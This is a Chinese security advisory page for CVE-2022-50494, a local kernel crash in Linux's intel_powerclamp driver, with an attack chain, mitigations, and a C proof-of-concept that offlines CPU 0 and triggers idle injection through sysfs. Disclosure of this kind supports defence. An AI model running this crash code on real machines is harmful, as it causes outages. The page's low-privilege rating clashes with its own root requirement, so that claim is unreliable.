IPBUF安全漏洞报告
English
CVE-2022-50494 CVSS 5.5 中危

CVE-2022-50494 Linux内核intel_powerclamp驱动本地拒绝服务漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50494
漏洞类型
本地拒绝服务(内核崩溃)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 intel_powerclamp驱动

相关标签

Linux内核intel_powerclamp本地拒绝服务内核崩溃CPU热插拔smp_processor_id可抢占上下文CVSS中危热管理驱动空闲注入

漏洞概述

CVE-2022-50494是Linux内核中intel_powerclamp热管理驱动的一个本地拒绝服务漏洞。该漏洞源于驱动在处理CPU空闲注入(idle injection)时使用了smp_processor_id()函数获取当前CPU编号,但该函数要求在不可抢占的上下文中调用。当系统CPU 0处于离线状态时,intel_powerclamp驱动会尝试将控制CPU从默认的CPU 0切换到当前在线的CPU,这一操作需要在cpus_read_lock()保护下进行。然而,smp_processor_id()在可抢占上下文中被调用时,内核会触发BUG检查(debug_smp_processor_id),导致内核崩溃(BUG: using smp_processor_id() in preemptible code)。攻击者需要具有本地低权限访问权限即可触发该漏洞,无需用户交互。该漏洞影响系统的可用性(高影响),但不涉及机密性或完整性泄露。漏洞的CVSS 3.1评分为5.5分,属于中危级别。该问题已在Linux内核5.19版本的提交中得到修复,主要通过将smp_processor_id()替换为get_cpu()来正确处理CPU亲和性并避免在可抢占上下文中调用引发的内核BUG。

技术细节

从技术层面分析,该漏洞的核心问题在于Linux内核intel_powerclamp驱动的powerclamp_set_cur_state()函数中使用了smp_processor_id()函数。smp_processor_id()是一个用于获取当前执行代码的CPU编号的函数,但它有一个严格的前提条件:调用时必须处于不可抢占(preempt-disabled)的上下文中。当CPU 0处于离线状态时,intel_powerclamp驱动需要将控制CPU(control CPU)从默认的CPU 0切换到当前在线的CPU。这一CPU切换操作需要在cpus_read_lock()读写信号量的保护下完成,而cpus_read_lock()是可以在可抢占上下文中获取的锁。当powerclamp_set_cur_state()在持有cpus_read_lock()的情况下调用smp_processor_id()时,内核的调试检查机制(debug_smp_processor_id)会检测到这一违规操作,并触发内核BUG,输出类似'BUG: using smp_processor_id() in preemptible [00000000] code'的错误信息,导致系统崩溃。修复方案是使用get_cpu()函数替代smp_processor_id(),因为get_cpu()内部会正确禁用抢占并增加引用计数,从而满足smp_processor_id()的调用前提条件。攻击者可以通过本地执行特定操作(如使用intel_powerclamp工具触发空闲注入)来利用该漏洞,但需要CPU 0处于离线状态这一前提条件。

攻击链分析

STEP 1
步骤1:获取本地权限
攻击者需要获取系统的本地低权限访问权限(PR:L),如通过普通用户账户登录系统。由于intel_powerclamp相关的sysfs接口通常需要root权限才能完全控制CPU热插拔操作,攻击者可能需要通过提权漏洞或其他方式获取更高权限。
STEP 2
步骤2:离线CPU 0
攻击者通过写入/sys/devices/system/cpu/cpu0/online文件将CPU 0设置为离线状态。这是触发漏洞的前提条件,因为intel_powerclamp默认使用CPU 0作为控制CPU。
STEP 3
步骤3:触发intel_powerclamp空闲注入
攻击者通过写入/sys/class/thermal/cooling_device*/cur_state文件触发intel_powerclamp驱动的空闲注入功能,导致驱动调用powerclamp_set_cur_state()函数。
STEP 4
步骤4:触发内核BUG导致系统崩溃
当powerclamp_set_cur_state()在可抢占上下文中调用smp_processor_id()时,内核的调试检查机制检测到违规操作,触发BUG: using smp_processor_id() in preemptible code错误,导致内核崩溃,系统不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50494 PoC - Trigger kernel BUG via intel_powerclamp * This PoC demonstrates how to trigger the kernel crash when CPU 0 is offline * and intel_powerclamp attempts idle injection. * Note: Requires root privileges to control CPU hotplug and powerclamp. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> // Step 1: Offline CPU 0 (requires root) int offline_cpu0() { int fd; char buf[] = "0"; fd = open("/sys/devices/system/cpu/cpu0/online", O_WRONLY); if (fd < 0) { perror("Failed to open CPU0 online file (need root)"); return -1; } write(fd, buf, 1); close(fd); printf("CPU 0 offlined successfully\n"); return 0; } // Step 2: Trigger intel_powerclamp idle injection int trigger_powerclamp() { int fd; char buf[16]; // Set the idle injection ratio (percentage) fd = open("/sys/class/thermal/cooling_device0/cur_state", O_WRONLY); if (fd < 0) { // Try alternative path fd = open("/sys/devices/virtual/thermal/cooling_device0/cur_state", O_WRONLY); } if (fd < 0) { perror("Failed to open powerclamp cooling device"); return -1; } // Write a non-zero value to trigger idle injection snprintf(buf, sizeof(buf), "%d", 50); write(fd, buf, strlen(buf)); close(fd); printf("Triggered powerclamp idle injection\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2022-50494 PoC\n"); printf("==================\n"); if (getuid() != 0) { printf("This PoC requires root privileges.\n"); printf("Run with: sudo %s\n", argv[0]); return 1; } printf("Step 1: Offlining CPU 0...\n"); if (offline_cpu0() != 0) { return 1; } sleep(1); printf("Step 2: Triggering intel_powerclamp idle injection...\n"); trigger_powerclamp(); printf("If vulnerable, kernel BUG should be triggered now.\n"); printf("Check dmesg for: 'BUG: using smp_processor_id() in preemptible code'\n"); return 0; }

影响范围

Linux kernel < 5.19 (受影响版本)
Linux kernel 5.19.0-rc7及之前版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过将intel_powerclamp模块加入黑名单(echo blacklist intel_powerclamp >> /etc/modprobe.d/blacklist.conf)来禁用该模块;2)限制普通用户对CPU热插拔相关sysfs接口的访问权限,防止CPU 0被非授权下线;3)在系统启动时通过内核参数maxcpus限制可用CPU数量,避免CPU 0离线场景;4)监控系统日志,及时发现异常的smp_processor_id()调用警告;5)对于关键业务系统,考虑在CPU 0上禁用可热插拔功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表